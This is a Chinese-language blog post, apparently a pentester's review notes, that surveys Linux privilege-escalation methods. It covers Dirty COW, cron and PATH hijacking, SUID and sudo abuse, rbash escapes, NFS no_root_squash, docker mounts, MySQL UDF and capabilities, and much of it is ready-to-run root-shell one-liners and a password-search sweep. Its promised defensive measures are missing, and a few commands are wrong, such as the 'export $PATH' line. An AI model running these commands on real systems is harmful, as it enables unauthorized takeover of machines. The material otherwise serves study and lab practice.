利用内核漏洞提取一般三个环节:首先对目标系统进行信息收集,获取系统内核信息及版本信息
第二步,根据内核版本获取对应的漏洞以及exp
第三步,使用exp对目标进行攻击,完成提权
注:此处可以利用脚本进行快速收集,脚本在往期的文章中
脏牛内核漏洞提权的原理:
在Linux内核的内存子系统处理私有只读内存映射的写时复制损坏的方式中发现了一种竞争状况,一个没有特权的本地用户可以利用此漏洞获取对只读存储器映射的写访问权,从而增加他在系统上的特权
Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,所以有可能进一步导致提权漏洞。
定时任务(cron job)是Linux系统中的一个守护进程,用于调度重复任务,通过配置crontab可以让系统周期性地执行某些命令或脚本,由于cron通常以root特权运行,如果可以修改其调度地任何脚本或二进制文件,便可以使用root权限执行任意代码。
Linux系统的定时任务文件位于/etc/crontab和/etc/cron.d/目录下。
/etc/crontab是系统中最基本的定时任务文件,它是一个文本文件,包含了一些指定时间执行的命令。每行都有6个字段,用空格或制表符隔开,分别表示分钟、小时、日期、月份、星期几和要执行的命令。例如:
- # m h dom mon dow user command
- */5 * * * * root /usr/local/bin/checkdisk.sh
这个任务会在每个小时的每5分钟执行一次/usr/local/bin/checkdisk.sh脚本。
可以列出/etc的系统任务,系统任务默认是root权限运行
ls -l /etc/cron*
如果运气好有权限能更改其中一个任务指定的脚本,我们就可以往脚本里添加如反弹shell等指令,从而提权
另外,/etc/cron.d/目录下存放着由其他应用程序创建的定时任务文件,这些文件的命名格式是任意的,但它们的内容与/etc/crontab文件类似,也包含了要执行的命令和执行的时间。
需要注意的是,如果想在当前用户的定时任务中添加命令,可以使用crontab -e命令来编辑该用户的定时任务文件,该文件的路径是/var/spool/cron/用户名。
环境变量劫持
查看定时任务
发现定义了诸多环境变量,如果其任务有未指定绝对路径的指令,如
17 * * * * root shell.sh
而且在其环境变量路径中可以进行写入操作,可以通过写入环境变量的靠前路径一个同名恶意文件从而导致环境变量劫持,比如在/sbin 写入一个 反弹shell功能的shell.sh,那么就可以造成提权
SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。为可执行文件添加suid权限的目的是简化操作流程,让普通用户也能做一些高权限才能做的的工作。但是如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。
原理:
SUID提权的原理与Linux进程的UID有关,进程在运行的时候有以下三个UID:
(A)Real UID:执行该进程的用户的UID。Real UID只用于标识用户,不用于权限检查。
(B)Effective UID(EUID):进程执行时生效的UID。在对访问目标进行操作时,系统会检查EUID是否有权限。一般情况下,Real UID与EUID相同,但在运行设置了SUID权限的程序时,进程的EUID会被设置为程序文件属主的UID。
(C)Saved UID:在高权限用户降权后,保留的UID。
如果某个设置了SUID权限的程序运行后创建了shell,那么shell进程的EUID也会是这个程序文件属主的UID,如果属主为root,便是一个root shell。root shell中运行的程序的EUID也都是0,具备超级权限,于是便实现了提权。
命令:find / -perm -4000 -type f 2>/dev/null find / -perm -u=s
-perm -4000:查找权限为“4000”的文件,其中“4000”是表示suid权限的数字。
-type f:查找类型为文件的结果,而不是目录或其他类型的文件。
find / -perm -4000 -type f -exec ls -l {} \;:这个命令与第一个命令类似,但使用了-exec选项,它将在查找到具有suid权限的文件后,执行一个ls -l命令,以查看这些文件的详细信息。在-exec选项中,{}表示查找到的每个文件的名称,\;表示命令结束的标记。
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具。
sudo使一般用户不需要知道超级用户的密码即可获得权限。首先超级用户将普通用户的名字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信息,登记在特殊的文件中(通常是/etc/sudoers)即完成对该用户的授权(此时该用户称为“sudoer”)
sudo -l是一个sudo命令的选项,用于列出当前用户可以使用sudo命令执行的命令列表。它可以帮助用户了解自己可以使用sudo命令运行哪些命令和脚本,以及这些命令和脚本可以带哪些参数。
当用户执行sudo -l时,系统将检查sudoers文件中该用户的访问权限,并列出该用户可以运行的所有命令和脚本。如果用户没有权限执行任何命令,sudo -l命令将返回一条错误消息。如果用户有权限执行一些命令,sudo -l命令将显示这些命令及其参数。
- User bob may run the following commands on this host:
- (ALL : ALL) ALL
- (root) /usr/bin/apt-get update, /usr/bin/apt-get upgrade
- (bob) /usr/bin/vim, /usr/bin/tail, /usr/bin/less
- 这个输出表示用户bob可以执行所有命令(包括以root用户身份运行的命令),
- 也可以运行/usr/bin/apt-get update和/usr/bin/apt-get upgrade这两个命令,
- 以及/usr/bin/vim、/usr/bin/tail和/usr/bin/less这三个命令,但只有以bob用户身份运行。
为了避免sudo滥用,管理员可以采取以下措施:
明文密码
/etc/passwd 默认所有用户可读,但只有root可写。 /etc/passwd里的用户口令往往以x代替,其加密后的密码会存入/etc/shadow里面,/etc/shadow默认只有root可读。
但是有小概率情况,明文密码就直接出现在/etc/passwd了,如果有这个情况且root密码暴露在了passwd里,那么就可以轻而易举提权了
passwd 可写
如果/etc/passwd 当前用户可写,可以直接把root的密码改成一个明文密码,从而达到提权目的
爆破shadow
如果/etc/shadow 可读,可以用hashcat或者john暴力破解shadow文件
运气决定!小概率事件~
在之前的靶机测试时遇到过,需要进行绕过,rbash是一个功能受限的bash环境,在vulnhub的DC2中遇到,限制可能有如下操作:
man,git config help,more,less,vim,vi,ftp,gdb等命令都有自己的shell,我们只需在他们各自的shell中执行/bin/sh即可 一般都是在shell键入!/bin/sh来bypass rbash
下面这种方法也是可行的(似乎仅vim)
- :set shell=/bin/bash
- :shell
简单概括就是-exec执行一下find -exec /bin/bash \;
python
如果python都可以用的话,那就更轻松了,os安排一下 似乎pty也行?没试
python -c "import os;os.system('/bin/bash')"
php
- php -a 进入php shell
- 然后执行命令:exec("/bin/bash");
perl
perl -e 'exec "/bin/sh";'
ruby
ruby -e 'exec "/bin/bash"'
直接用cp把/usr/bin里的命令复制过来就行了
键入export -p 查看该用户的变量
如果PATH和SHELL变量存在写的权限,直接可以写入进行bypass
原理是通过ssh链接当前IP的当前用户并启动/bin/bash
ssh username@Ip -t "/bin/bash"
言简意赅,到处翻找密码!!!
- grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
- find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;
可以通过以上命令,指定关键字,在所有文件中搜索内容中有关键字的文件。
find / -mmin -10 2>/dev/null | grep -Ev "^/proc" (不显示^/proc文件或文件夹)
NFS(网络文件系统)是一种分布式文件系统协议,NFS允许系统通过网络与其他人共享目录和文件,NFS提权是指利用NFS协议漏洞,通过共享文件系统中的文件获取本地特权的攻击方法。
NFS中的Root squashing(root_sqaush)参数阻止对连接到NFS卷的远程root用户具有root访问权限,当该参数设置为no_root_squash时,登入NFS主机使用分享目录的使用者如果是root,那么对于这个分享目录,就具有root的权限。
查看“/etc /exports”文件发现/home/ubuntu/tmp文件是可共享的,远程可以挂载,且为no_root_squash
cat /etc/exports 如果有no_root_squash字样,则说明root用户就会对共享目录拥有至高的权限控制,就像是对本机的目录操作一样。
也就是说,任何机器的root在此目录上都有最高权限。
在获得一台机器的root权限后,可以通过nfs在另一台低权限机器上实现提权
- mkdir /tmp/nfs
- mount -o rw,vers=3 10.10.10.10:/tmp /tmp/nfs 将本机上的/tmp/nfs 挂载到共享目录
- cp /bin/bash /tmp/nfs/bash
- chmod u+s /tmp/nfs/bash 设置共享目录上bash的suid
回到低权限机,执行 /tmp/bash 完成提权
为了避免NFS提权攻击,可以采取以下措施:
除了利用Linux系统自带的工具进行提取,还有利用大量存在风险的第三方工具进行提取,例如docker
Docker有几个特性:
(1)可免sudo使用docker:默认情况下使用docker必须要有sudo权限,对于一台机器多用户使用,往往很多用户只有普通权限。为了让普通用户也可以使用Docker,管理员将需要使用docker的用户添加到docker用户组(安装docker后默认会创建该组)中,用户重新登录机器即可免sudo使用docker了。
(2)容器内用户权限不受限:用户创建一个docker容器后,容器内默认是root账户,在不需要加sudo的情况下可以任意更改容器内的配置。正常情况下,这种模式既可以保证一台机器被很多普通用户使用,通过docker容器的隔离,相互之前互不影响;也给用户在容器内开放了充足的权限保证用户可以正常安装软件,修改容器配置等操作。
(3)容器内外文件可映射:docker提供了一个-v选项,提供用户将容器外的host目录映射进容器内,方便的进行容器内外的文件共享。
通过前期的渗透操作,拿下user_docker的权限,下面对其进行提权。首先,运行一个容器:docker run -it -v /etc:/etc ubuntu /bin/bash,将宿主机的/etc目录直接映射进容器,从而覆盖了容器内的/etc目录。由于linux系统上的本地用户信息主要记录在/etc/目录下,比如两个常见文件/etc/passwd和/etc/group,而在容器内当前用户有root权限,于是可以随意修改这两个文件,实现提权:
修改/etc/passwd文件,可更改root密码,或者新增一个uid=0的用户。
执行如下命令
docker run -v /:/mnt --rm -it crf_web1 chroot /mnt sh
然后在其中的/etc/passwd中写入一个root权限用户(这里直接无密码了)
修改/etc/group文件,将当前用户添加到sudo组中。
PATH是Linux和类Unix操作系统中的一个环境变量,它指定存储所有可执行程序的所有bin和sbin目录。当用户在终端上运行任何命令时,它向shell请求在PATH变量的帮助下搜索可执行文件,以响应用户执行的命令。超级用户通常还具有/sbin和/usr/sbin条目,以便轻松执行系统管理命令。
- 查看PATH
- echo $PATH
- env | grep PATH
- print $PATH
如果找到一个suid权限的程序,但是我们无法完成suid提权,就可以试试搭配环境变量进行提权。
这个提权方法的思想是,找到有suid的,内部有system函数调用未指定路径的命令的文件。同时用户有修改自己环境变量的权限,就可以通过劫持system函数里调用的脚本文件,使其指向环境变量里自行创建的一个同名脚本文件,那么这个自行创建的同名脚本文件就能以root权限运行了,如果这个脚本文件里的命令是/bin/bash,那么就相当于提权了。
首先在一个目录下创建如下文件
vim demo.c
然后 gcc demo.c -o shell 将其编译为可执行文件
然后 chmod u+s shell 为其增加suid权限
攻击者:首先使用下列指令搜寻suid权限文件
find / -perm -u=s -type f 2>/dev/null
发现可疑目标,执行一下看看
发现返回了ps命令的结果,我们可以以此猜测这个文件内部 有 system("ps"); 这条c语言代码。 遂可尝试环境变量提权
依次执行以下命令
- cd /tmp
- echo "/bin/bash" > ps
- export $PATH=/tmp:$PATH 需要修改自身环境变量的权限,但基本上都有这个权限
- chmod 777 ./ps 没这条命令会导致提权失败
- cd /home/const27
- ./shell 提权成功
UDF是用户自定义函数,通过添加新函数,对Mysql的功能进行扩充
利用条件:mysql配置文件secure_file_priv为空,具备数据库root权限
满足前提的情况下,登录MySQL将准备好的dll文件上传到MySQL的plugin目录下,然后利用dll文件创建执行系统命令的函数,就能执行系统任意命令了。
mysql数据库的root权限
secure_file_priv的值为空。
如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下/
如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
show variables like 'plugin%'; #查看 plugin 目录 /usr/lib/mysql/plugin/
show global variables like 'secure%'; # 查看secure_file_priv
select @@basedir; #查看mysql安装路径
show variables like '%version_%'; #确定平台是64位还是32位
insert into xiaoli values(load_file('/tmp/xiaoli.so'));
然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数:
select * from xiaoli into dumpfile '/usr/lib/mysql/plugin/xiaoli.so';\
创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
create function do_system returns integer soname 'xiaoli.so';
查看以下创建的函数:
select * from mysql.func;
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
select do_system('chmod u+s /usr/bin/find');
capabilities 是linux2.2后出现的产物,它的出现一定程度上弥补了suid这种粗糙的权限管理机制,但是capabilities 自身也有造成提权的安全隐患
capabilities 把root的权限细分了,可以分别启用或者禁用。
在进行特权操作的时候,如果euid不是root,那么系统就会检查是否具有执行特权操作的对应capabilities ,并以此为凭据决定特权操作是否能被执行。
如下是一些常见的特权操作及其对应capabilities
改变文件的所属者(chown()) | CAP_CHOWN |
向进程发送信号(kill(), signal()) | CAP_KILL |
改变进程的uid(setuid(), setreuid(), setresuid()等) | CAP_SETUID |
trace进程(ptrace()) | CAP_SYS_PTRACE |
设置系统时间(settimeofday(), stime()等) | CAP_SYS_TIME |
忽略文件读及目录搜索的DAC访问限制 | CAP_DAC_READ_SEARCH |
关于capabilities的管理工具有如下:
getcap 用于查询capabilities,setcap用于设置capabilities,capsh用于查当前shell进程的capabilities,filecap既能设置又能查询。
可以通过以下指令搜索设置了capabilities的可执行文件
getcap -r / 2>/dev/null
cap_setuid 可以设置当前用户的euid,可以通过此选项来进行一些提权。
以python为例
发现python3.8 有cap_setuid权限,那么可以用以下指令进行提权
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
类似的有很多。
perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
gdb
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
php
php -r "posix_setuid(0); system('/bin/sh');"
python
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
rvim
需要支持python3模块。
rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
vim
需要支持python3模块。vim --version查询,是否支持py3
vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
cap_dac_read_search可以绕过文件的读权限检查以及目录的读/执行权限的检查。
利用此特性可以读取系统中的敏感信息。
如果tar有此权限,我们可以通过此来查看敏感文件内容。
- tar cvf shadow.tar /etc/shadow //创建压缩文件
-
- tar -xvf shadow.tar //解压缩
-
- cd etc //进入解压缩的目录
-
- chmod +r shadow //赋予读权限
-
- cat shadow | grep root //查看shadow文件的内容
此篇是对以往的Linux主机提权方式进行总结,温故知新!